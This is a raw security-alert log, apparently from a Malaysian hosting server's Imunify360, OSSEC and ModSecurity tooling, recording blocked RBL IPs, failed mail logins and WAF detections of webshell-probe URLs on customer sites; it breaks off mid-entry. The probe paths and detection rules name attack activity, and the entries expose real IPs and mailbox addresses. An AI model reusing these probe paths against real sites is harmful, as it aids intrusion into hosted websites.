abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 03:59:26 H=([45.144.212.242]) [45.144.212.242]:49243 F=<no_reply@admin.com> rejected RCPT <stacy@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.64
country_id: 3996063
description:
Jan 15 03:59:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.64
country_id: 3996063
description:
Jan 15 04:00:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.221.62.245
country_id: 953987
description:
Jan 15 04:00:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.221.62.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.55
country_id: 3469034
description:
Jan 15 04:02:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.55 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 15.168.170.25
country_id: 1861060
description:
[2026-01-15 04:02:45 +0800] info [cpaneld] 15.168.170.25 - - "HEAD /apps HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/fphortier/images/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.201.64.10
country_id: 290291
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Exception/NotFoundResourceException.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.170.218.142
country_id: 1835841
description:
Jan 15 04:09:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.170.218.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.170.218.142
country_id: 1835841
description:
2026-01-15 04:09:49 dovecot_login authenticator failed for H=([121.170.218.142]) [121.170.218.142]:47177: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.121.114
country_id: 6290252
description:
Jan 15 04:10:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.121.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.212
country_id: 953987
description:
Jan 15 04:11:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-15 04:12:31 H=([77.83.39.92]) [77.83.39.92]:53917 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <info@astlog.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.103
country_id: 3175395
description:
Jan 15 04:12:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.84
country_id: 798544
description:
Jan 15 04:12:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/apm/images/monthly-report.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.164.47.37
country_id: 1643084
description:
Jan 15 04:16:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.164.47.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.164.47.37
country_id: 1643084
description:
2026-01-15 04:16:10 dovecot_login authenticator failed for H=(ip-103-133.222-205.cloudteknologinusantara.co.id) [125.164.47.37]:57476: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.16
country_id: 3469034
description:
Jan 15 04:16:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.235.115
country_id: 3865483
description:
Jan 15 04:17:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.235.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.46.65.229
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-19.69.46.65.229||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/sitemap.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.212.198.226
country_id: 1814991
description:
Jan 15 04:19:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.212.198.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.212.198.226
country_id: 1814991
description:
2026-01-15 04:19:43 dovecot_login authenticator failed for H=([27.212.198.226]) [27.212.198.226]:59968: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.252
country_id: 2510769
description:
Jan 15 04:21:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.252 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 04:22:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.14.205
country_id: 3469034
description:
Jan 15 04:23:49 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.14.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.110.162
country_id: 798544
description:
Jan 15 04:23:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.110.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.41
country_id: 1269750
description:
Jan 15 04:23:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.47.99.66
country_id: 3077311
description:
Jan 15 04:23:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.47.99.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.143
country_id: 690791
description:
Jan 15 04:23:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.21
country_id: 2300660
description:
Jan 15 04:23:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.40.8
country_id: 3469034
description:
Jan 15 04:23:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.40.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.134.113.36
country_id: 1269750
description:
Jan 15 04:23:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.134.113.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.208
country_id: 3469034
description:
Jan 15 04:24:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.21
country_id: 2300660
description:
Jan 15 04:24:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.154.2
country_id: 1269750
description:
Jan 15 04:24:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.154.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 04:24:40 H=([45.144.212.242]) [45.144.212.242]:56647 F=<no_reply@admin.com> rejected RCPT <teegh@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.140
country_id: 1269750
description:
Jan 15 04:25:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.24
country_id: 690791
description:
Jan 15 04:26:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.24
country_id: 690791
description:
Jan 15 04:26:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.24 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.192
country_id: 6252001
description:
Jan 15 04:28:10 sv3 pure-ftpd[2736455]: (?@198.235.24.192) [INFO] New connection from 198.235.24.192


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.239.181.182
country_id: 1835841
description:
Jan 15 04:28:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.239.181.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.239.181.182
country_id: 1835841
description:
2026-01-15 04:28:53 dovecot_login authenticator failed for H=([211.239.181.182]) [211.239.181.182]:37090: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.31.95.72
country_id: 798544
description:
Jan 15 04:30:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.31.95.72 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.221.119
country_id: 298795
description:
2026-01-15 04:34:21 dovecot_plain authenticator failed for H=(unatte) [5.11.221.119]:53768: 535 Incorrect authentication data (set_id=siowchi.kwang@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.198
country_id: 3469034
description:
Jan 15 04:34:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.174
country_id: 3469034
description:
Jan 15 04:35:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.221.119
country_id: 298795
description:
Jan 15 04:34:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.221.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.174
country_id: 3469034
description:
Jan 15 04:35:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 04:36:25 H=([45.144.212.242]) [45.144.212.242]:56257 F=<no_reply@admin.com> rejected RCPT <tini@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.233.48.124
country_id: 3469034
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Easy Fold Document Box/Comparison-2.3 in cm-150x150.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.217
country_id: 3469034
description:
Jan 15 04:39:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.239
country_id: 3865483
description:
Jan 15 04:40:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.217
country_id: 3469034
description:
Jan 15 04:40:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 04:40:16 H=([45.144.212.242]) [45.144.212.242]:56991 F=<lynnied@mhtc.net> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.132.130
country_id: 1269750
description:
Jan 15 04:40:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.132.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.239
country_id: 3865483
description:
Jan 15 04:40:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.186.61.244
country_id: 2782113
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Flute/A-Flute -2-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.58.170
country_id: 3469034
description:
Jan 15 04:41:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.58.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.211.244.218
country_id: 1814991
description:
Jan 15 04:41:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.211.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.198
country_id: 1269750
description:
Jan 15 04:41:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.196.161.232
country_id: 2510769
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-42.109.196.161.232||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.5
country_id: 2395170
description:
Jan 15 04:45:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.5
country_id: 2395170
description:
Jan 15 04:46:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.105
country_id: 3469034
description:
Jan 15 04:46:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.85.174
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-83.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.57
country_id: 798544
description:
Jan 15 04:52:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.28.178
country_id: 2300660
description:
Jan 15 04:53:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.28.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.236.173
country_id: 3865483
description:
Jan 15 04:53:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.236.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 04:54:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.237.73.163
country_id: 798544
description:
Jan 15 04:55:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.237.73.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.64
country_id: 3469034
description:
Jan 15 04:55:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.10.85
country_id: 1269750
description:
Jan 15 04:57:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.10.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.61.139
country_id: 3469034
description:
Jan 15 04:58:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.61.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.237
country_id: 3469034
description:
Jan 15 04:59:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.87
country_id: 3469034
description:
Jan 15 04:58:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.237
country_id: 3469034
description:
Jan 15 04:59:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.18
country_id: 2395170
description:
Jan 15 04:59:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.215
country_id: 3175395
description:
Jan 15 05:00:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.90.228.197
country_id: 1282988
description:
Jan 15 05:01:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.90.228.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.22
country_id: 798544
description:
Jan 15 05:01:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.245
country_id: 2300660
description:
Jan 15 05:03:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.245
country_id: 2300660
description:
Jan 15 05:03:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.86
country_id: 3865483
description:
Jan 15 05:03:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.86 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.174.119
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/gas.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.129
country_id: 3469034
description:
Jan 15 05:06:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.129 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.125
country_id: 3469034
description:
Jan 15 05:07:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.125
country_id: 3469034
description:
Jan 15 05:07:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 05:07:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.125.124
country_id: 1835841
description:
2026-01-15 05:07:50 dovecot_login authenticator failed for H=([119.204.125.124]) [119.204.125.124]:20946: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.204.125.124
country_id: 1835841
description:
Jan 15 05:07:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.204.125.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 05:07:21 H=([45.144.212.242]) [45.144.212.242]:55253 F=<no_reply@admin.com> rejected RCPT <vimala@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.32.41.16
country_id: 798549
description:
Jan 15 05:07:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.32.41.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.32.41.16
country_id: 798549
description:
2026-01-15 05:07:35 dovecot_login authenticator failed for H=(ADMIN) [89.32.41.16]:37312: 535 Incorrect authentication data (set_id=marketing@kdiballoon.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.186.68.8
country_id: 3469034
description:
Jan 15 05:07:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.186.68.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
